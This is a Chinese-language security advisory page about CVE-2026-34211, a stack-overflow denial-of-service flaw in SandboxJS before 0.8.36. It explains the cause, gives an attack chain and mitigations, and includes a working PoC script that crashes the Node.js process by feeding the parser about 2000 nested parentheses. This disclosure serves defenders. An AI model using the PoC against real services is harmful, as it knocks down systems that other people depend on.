IPBUF安全漏洞报告
English
CVE-2026-34211 CVSS 7.5 高危

CVE-2026-34211 SandboxJS 拒绝服务漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-34211
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SandboxJS

相关标签

拒绝服务DoSSandboxJSNode.js栈溢出递归

漏洞概述

SandboxJS 是一个用于 JavaScript 沙箱隔离的库。在 0.8.36 版本之前,该库的解析器组件在 `restOfExp` 函数及 `lispify` 调用链中存在无界递归缺陷。攻击者可诱导目标解析深度嵌套的恶意表达式(例如包含约 2000 层括号的输入),这会耗尽调用栈并触发 RangeError。受此影响,Node.js 进程将崩溃终止,导致严重的拒绝服务风险。目前该问题已在 0.8.36 版本中修复。

技术细节

该漏洞的根源在于 `@nyariv/sandboxjs` 库的解析逻辑中缺乏对递归深度的限制。具体而言,`restOfExp` 函数与 `lispify`/`lispifyExpr` 函数之间存在递归调用链,用于解析类 Lisp 语法或复杂表达式。由于未设置最大递归深度或栈保护机制,当解析器遇到深度嵌套的数据结构(如深层嵌套的括号或函数调用)时,会不断调用自身并向栈中压入新的栈帧。当嵌套层级达到一定程度(测试表明约 2000 层),JavaScript 引擎的调用栈空间将被完全耗尽,抛出“Maximum call stack size exceeded”错误。由于 Node.js 默认的异常处理机制,这种未捕获的 RangeError 往往会导致整个进程意外退出,从而实现拒绝服务攻击。攻击者无需用户交互或认证,仅需通过网络发送特制的恶意数据包即可触发。

攻击链分析

STEP 1
侦察
攻击者识别目标应用程序正在使用 SandboxJS 库来处理不受信任的用户输入。
STEP 2
构造载荷
攻击者构造包含深度嵌套结构的恶意数据(例如约2000层嵌套的括号),旨在触发解析器的递归逻辑。
STEP 3
发送请求
攻击者通过网络向目标应用程序发送包含恶意载荷的请求,无需认证或用户交互。
STEP 4
触发漏洞
目标应用的 SandboxJS 解析器尝试解析该载荷,由于 `restOfExp` 函数存在无界递归,导致调用栈迅速耗尽。
STEP 5
系统崩溃
JavaScript 引擎抛出 RangeError: Maximum call stack size exceeded,导致 Node.js 进程崩溃,实现拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-34211 // This script generates a deeply nested string to trigger the stack overflow in SandboxJS const { Sandbox } = require('@nyariv/sandboxjs'); // Function to generate a string with 'depth' nested parentheses function generateNestedPayload(depth) { let payload = ''; for (let i = 0; i < depth; i++) { payload += '('; } for (let i = 0; i < depth; i++) { payload += ')'; } return payload; } async function exploit() { try { const sandbox = new Sandbox(); // Generate payload with ~2000 nested parentheses const maliciousInput = generateNestedPayload(2000); console.log("Sending malicious payload..."); // The parser will crash here due to unbounded recursion in restOfExp/lispify await sandbox.run(maliciousInput); } catch (e) { console.error("Error caught:", e.message); // In vulnerable versions, the process may terminate before this catch } } exploit();

影响范围

@nyariv/sandboxjs < 0.8.36

防御指南

临时缓解措施
如果无法立即升级,建议在应用层面对输入数据进行预处理,拒绝或清理包含深层嵌套结构(如连续大量括号)的数据。此外,可以配置 Node.js 集群或使用看门狗程序,以便在主进程因栈溢出崩溃时能够自动恢复服务,降低业务中断风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表